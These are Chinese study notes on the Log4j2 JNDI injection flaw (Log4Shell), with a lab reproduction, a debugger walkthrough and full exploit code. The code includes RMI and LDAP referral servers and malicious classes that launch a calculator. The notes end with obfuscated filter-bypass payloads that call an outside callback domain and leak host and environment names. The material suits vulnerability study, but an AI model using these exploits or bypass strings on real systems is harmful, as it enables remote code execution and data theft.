java进阶漏洞学习----log4j漏洞学习笔记
CVE-2021-44228 log4j2
漏洞版本范围
2.x < version <=2.14.1
环境搭建
linux的ij idea
java版本:JDK1.8u102
https://www.oracle.com/cis/java/technologies/javase/javase8-archive-downloads.html
LOG4J.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class LOG4J {
private static final Logger logger = LogManager.getLogger(LOG4J.class);
public static void main(String[] args){
String test = "${jndi:rmi://127.0.0.1:1099/evil}";
logger.error("loginfo: {}",test);
}
}
ATTACK.java
import java.io.IOException;
public class ATTACK {
static {
try {
System.out.println("已经执行");
Runtime.getRuntime().exec("gnome-calculator");
System.out.println("已经执行完");
} catch (IOException e) {
System.out.println("没有执行");
e.printStackTrace();
}
}
}
ATTACKRMI.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ATTACKRMI {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("", "ATTACK", "");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
先执行ATTACKRMI,再执行LOG4J
代码审计
开始调试
打断点
F7进入
F7进入,发现this.isEnabled(level, marker, message, p0)执行时间很短,而 this.logMessage(fqcn, level, marker, message, p0);
执行时间比较长,所以F8跳过isEnabled,并打断点
F7进入logMessage,同理发现Message msg = this.messageFactory.newMessage(message, p0);执行时间很短,F8跳过,并打断点
F7进入this.logMessageSafely
F7进入logMessageTrackRecursion
发现incrementRecursionDepth();执行时间较短,F8跳过,打断点
F7进入tryLogMessage
F7进入log
F8跳过执行时间较短的函数,打断点
F7进入log
F7进入
现在这里有很多函数,需要找到关键的那个
这里采用的方法是先一直F8跳过,直到运行到某一个函数的时候弹出计算器,这里发现经过这个函数后就弹出计算器,打上断点
F7进入log
F8跳过执行时间较短的函数,打断点
F7进入
继续利用F8探测出运行完哪一个函数后弹出计算器,打上断点
F7进入
F8跳过,并打断点
F7进入
F8跳过并打断点
F7进入
F8跳过并打断点
F7进入
F8跳过并打断点
F7进入,打上断点
F7进入
F7进入
F8跳过,F7进入到directEncodeEvent
F7进入
跳过if条件语句,然后一直F8判断经过哪一个函数弹计算器,是StringBuilder text = this.toText((Serializer2)this.eventSerializer, event, getStringBuilder());
F7进入toText
F7继续进入,发现又有很多东西,F8探测出经过哪一个函数弹出计算器
发现当i=某一个值(这里为8)的时候弹出计算器
for(int i = 0; i < len; ++i) {
this.formatters[i].format(event, buffer);
}
所以在i=8的时候F7进入,打断点
进入this.converter.format(event, buf);
继续F8探测出经过哪一个函数弹出计算器
这时候发现在这处for+if时候一直反复,检测字符串里面是否含有'${'
所以直接在下面打上一个断点,然后F9
进入workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));中的replace
在最后的return那里打上断点
F7进入
F7进入
发现下面有很多东西,用F8探测
经过探测,在执行String varValue = this.resolveVariable(event, varName, buf, startPos, pos);完后弹计算器,打上断点
F7进入resolveVariable,F8跳过,打上断点
F7进入lookup
F8探测发现执行value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);后会弹计算器,打上断点
最终在此处形成jndi注入,加载远程恶意类
现在使用ldap形式的payload
下载并导入到idea中
https://github.com/pingidentity/ldapsdk/releases
LOG4J2.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class LOG4J2 {
private static final Logger logger = LogManager.getLogger(LOG4J2.class);
public static void main(String[] args){
String test = "${jndi:ldap://0.0.0.0:1389/ATTACK_LDAP}";
logger.error("loginfo: {}",test);
}
}
ATTACK_LDAP.java,避坑:不能和其他两个代码放在同一个目录下,放在别的目录下,javac ATTACK_LDAP.java
import java.io.IOException;
import javax.naming.spi.ObjectFactory;
public class ATTACK_LDAP implements ObjectFactory {
public Object getObjectInstance(Object obj, javax.naming.Name name, javax.naming.Context nameCtx, java.util.Hashtable<?, ?> environment)
throws Exception {
try {
System.out.println("已经开始执行");
String[] cmd = {"gnome-calculator"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
System.out.println("已经结束执行");
} catch (IOException e) {
System.out.println("没有执行");
e.printStackTrace();
}
return null;
}
}
这个是marshalsec里面的代码LDAPRefServer.java
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*
*/
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) {
int port = 1389;
if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
}
else if ( args.length > 1 ) {
port = Integer.parseInt(args[ 1 ]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
然后在项目目录下开启一个web服务
LDAPRefServer.java配置参数
先执行LDAPRefServer再执行LOG4J2.java
LDAPRefServer.java简单代码审计(如何开启一个ldap服务的)
int port = 1389;
if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
}
else if ( args.length > 1 ) {
port = Integer.parseInt(args[ 1 ]);
}
从命令行参数中读取codebase_url和classname,检查命令行参数要是少于1个或者第一个命令行参数没包含#
,就打印错误信息
如果命令行参数大于1的话,就把第二个值设置为端口号
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
创建了一个InMemoryDirectoryServerConfig对象,配置了监听器和拦截器。然后将配置应用到InMemoryDirectoryServer对象上,并启动监听。
使用了args[0]构造了一个URL对象,并传递给了OperationInterceptor
简单来说,就是把一个ldap请求重定向发给了web服务里的恶意类
bypass方式记录
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk
参考文章
https://xz.aliyun.com/t/12814
https://blog.csdn.net/qq_42322144/article/details/121922084